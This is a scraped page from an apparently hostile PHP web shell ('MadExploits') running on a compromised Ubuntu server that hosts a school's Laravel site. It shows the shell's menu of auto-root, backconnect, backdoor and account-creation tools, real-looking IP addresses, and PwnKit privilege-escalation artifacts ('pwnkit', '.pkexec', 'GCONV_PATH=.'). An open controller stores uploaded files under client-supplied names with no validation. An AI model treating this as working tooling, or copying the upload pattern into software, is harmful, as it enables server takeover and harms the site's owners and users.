Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
gandhi-school /
app /
Http /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxrwxr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxrwxr-x
frontend
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
AlbumImageController.php
2.22
KB
-rw-rw-r--
Controller.php
361
B
-rw-rw-r--
DownloadController.php
125
B
-rw-rw-r--
ExecutiveCommitteeTermControll...
11.92
KB
-rw-rw-r--
HomeController.php
467
B
-rw-rw-r--
PtaTermController.php
11.76
KB
-rw-rw-r--
PublicationController.php
9.12
KB
-rw-rw-r--
RecentNoticeController.php
6.35
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RecentNoticeController.php
<?php namespace App\Http\Controllers; use App\Http\Requests\StorePublicationRequest; use App\Http\Requests\UpdatePublicationRequest; use App\Models\Publication; use Illuminate\Http\Request; class RecentNoticeController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { try{ $publications = Publication::where('type', 'recent-news')->latest()->get(); return view('admin.recent-news.index',compact('publications')); }catch(\Exception $e){ // return $e; return redirect()->route('recent-news.index')->with('error',"Something Went Wrong"); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { try{ return view('admin.recent-news.create'); }catch(\Exception $e){ return view('frontend.index')->with('error',"Something Went Wrong"); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(StorePublicationRequest $request) { // return $request; try{ $input['id'] = $request->id; $input['alias'] = $request->alias; $input['title'] = $request->title; $input['title_np']=$request->title_np; $input['author'] = $request->author; $input['author_np'] = $request->author_np; // $input['publication'] = $request->publication; $input['publication_np'] = $request->publication_np; $input['status'] = $request->status; $input['description'] = $request->description; $input['description_np'] = $request->description_np; $input['type'] = $request->type; if ($file = $request->file('file')) { $destinationPath = 'files/'; $profileImage = $file->getClientOriginalName(); $file->move($destinationPath, $profileImage); $input['file'] = "$profileImage"; } if ($file = $request->file('cover_image')) { $destinationPath = 'publication_images/'; $profileImage = $file->getClientOriginalName(); $file->move($destinationPath, $profileImage); $input['cover_image'] = "$profileImage"; } if($request->is_writted_by_tl){ $input['is_writted_by_tl'] = 1; }else{ $input['is_writted_by_tl'] = 0; } $input['display_order'] = $request->display_order; // return $request; Publication::create($input); return redirect()->route('recent-news.index')->with('success','Publication Posted Successfully'); }catch(\Exception $e){ // return $e; return redirect()->route('recent-news.index')->with('error',"SomeThing Went Wrong"); } } /** * Display the specified resource. * * @param \App\Models\Publication $Publication * @return \Illuminate\Http\Response */ public function show(Publication $publication) { // } /** * Show the form for editing the specified resource. * * @param \App\Models\Publication $Publication * @return \Illuminate\Http\Response */ public function edit(Publication $recentNews) { return view('admin.recent-news.edit', compact('recentNews')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\Models\Publication $Publication * @return \Illuminate\Http\Response */ public function update(UpdatePublicationRequest $request, Publication $publication) { // return $request; $publication = Publication::find($request->id); try{ // $input = $request->all(); $input['id'] = $request->id; $input['title'] = $request->title; $input['alias'] = $request->alias; $input['title_np']=$request->title_np; $input['author'] = $request->author; $input['author_np'] = $request->author_np; // $input['publication'] = $request->publication; $input['publication_np'] = $request->publication_np; $input['status'] = $request->status; $input['description'] = $request->description; $input['description_np'] = $request->description_np; $input['type'] = $request->type; if ($file = $request->file('file')) { $destinationPath = 'files/'; $profileImage = $file->getClientOriginalName(); $file->move($destinationPath, $profileImage); $input['file'] = "$profileImage"; }else{ unset($input['file']); } if ($file = $request->file('cover_image')) { $destinationPath = 'publication_images/'; $profileImage = $file->getClientOriginalName(); $file->move($destinationPath, $profileImage); $input['cover_image'] = "$profileImage"; }else{ unset($input['cover_image']); } if($request->is_writted_by_tl){ $input['is_writted_by_tl'] = 1; }else{ $input['is_writted_by_tl'] = 0; } $input['display_order'] = $request->display_order; $publication->update($input); // return $publication; return redirect()->route('recent-news.index') ->with('success','Recent Notice updated successfully'); }catch(\Exception $e){ // return $e; return redirect()->route('recent-news.index')->with('error','Something Went Wrong'); } } /** * Remove the specified resource from storage. * * @param \App\Models\Publication $Publication * @return \Illuminate\Http\Response */ public function destroy(Publication $publication) { try{ $publication->delete(); return back()->with('success',"SuccessFully Deleted"); }catch(\Exception $e){ return redirect()->route('recent-news.index')->with('error',"Something Went Wrong"); } } }
Close